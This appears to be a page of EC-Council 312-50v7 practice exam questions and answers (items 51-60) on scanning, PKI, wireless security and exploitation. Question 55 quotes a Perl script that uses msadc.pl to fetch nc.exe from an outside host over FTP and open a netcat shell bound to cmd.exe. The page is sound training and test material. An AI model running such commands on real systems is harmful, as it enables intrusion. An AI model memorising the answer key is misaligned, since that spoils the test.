EC-COUNCIL EC-COUNCIL Certifications 312-50V7 Questions & Answers

• Question 51:

  Firewalk has just completed the second phase (the scanning phase) and a technician receives the output shown below. What conclusions can be drawn based on these scan results? TCP port 21 no response TCP port 22 no response TCP port 23 Time-to-live exceeded

  A. The firewall itself is blocking ports 21 through 23 and a service is listening on port 23 of the target host.

  B. The lack of response from ports 21 and 22 indicate that those services are not running on the destination server.

  C. The scan on port 23 passed through the filtering device. This indicates that port 23 was not blocked at the firewall.

  D. The scan on port 23 was able to make a connection to the destination host prompting the firewall to respond with a TTL error.

  Correct Answer: C

• Question 52:

  When setting up a wireless network, an administrator enters a pre-shared key for security. Which of the following is true?

  A. The key entered is a symmetric key used to encrypt the wireless data.

  B. The key entered is a hash that is used to prove the integrity of the wireless data.

  C. The key entered is based on the Diffie-Hellman method.

  D. The key is an RSA key used to encrypt the wireless data.

  Correct Answer: A

• Question 53:

  Which of the following defines the role of a root Certificate Authority (CA) in a Public Key Infrastructure (PKI)?

  A. The root CA is the recovery agent used to encrypt data when a user's certificate is lost.

  B. The root CA stores the user's hash value for safekeeping.

  C. The CA is the trusted root that issues certificates.

  D. The root CA is used to encrypt email messages to prevent unintended disclosure of data.

  Correct Answer: C

• Question 54:

  An NMAP scan of a server shows port 69 is open. What risk could this pose?

  A. Unauthenticated access

  B. Weak SSL version

  C. Cleartext login

  D. Web portal data leak

  Correct Answer: A

• Question 55:

  A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:system("perl msadc.pl -h $host -C \"echo open $your >testfile\""); system("perl msadc.pl -h $host -C \"echo $user>>testfile\""); system("perl msadc.pl -h $host -C \"echo $pass>>testfile\""); system ("perl msadc.pl -h $host -C \"echo bin>>testfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>testfile\""); system("perl msadc.pl -h $host -C \"echo get hacked.html>>testfile\""); ("perl msadc.pl -h $host -C \"echo quit>>testfile\""); system("perl msadc.pl -h $host -C \"ftp \-s\:testfile\""); $o=; print "Opening ...\n"; system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\"");

  Which exploit is indicated by this script?

  A. A buffer overflow exploit

  B. A chained exploit

  C. A SQL injection exploit

  D. A denial of service exploit

  Correct Answer: B

• Question 56:

  Which security strategy requires using several, varying methods to protect IT systems against attacks?

  A. Defense in depth

  B. Three-way handshake

  C. Covert channels

  D. Exponential backoff algorithm

  Correct Answer: A

• Question 57:

  An IT security engineer notices that the company's web server is currently being hacked. What should the engineer do next?

  A. Unplug the network connection on the company's web server.

  B. Determine the origin of the attack and launch a counterattack.

  C. Record as much information as possible from the attack.

  D. Perform a system restart on the company's web server.

  Correct Answer: C

• Question 58:

  During a penetration test, a tester finds a target that is running MS SQL 2000 with default credentials. The tester assumes that the service is running with Local System account. How can this weakness be exploited to access the system?

  A. Using the Metasploit psexec module setting the SA / Admin credential

  B. Invoking the stored procedure xp_shell to spawn a Windows command shell

  C. Invoking the stored procedure cmd_shell to spawn a Windows command shell

  D. Invoking the stored procedure xp_cmdshell to spawn a Windows command shell

  Correct Answer: D

• Question 59:

  Which of the following programming languages is most vulnerable to buffer overflow attacks?

  A. Perl

  B. C++

  C. Python

  D. Java

  Correct Answer: B

• Question 60:

  Which property ensures that a hash function will not produce the same hashed value for two different messages?

  A. Collision resistance

  B. Bit length

  C. Key strength

  D. Entropy

  Correct Answer: A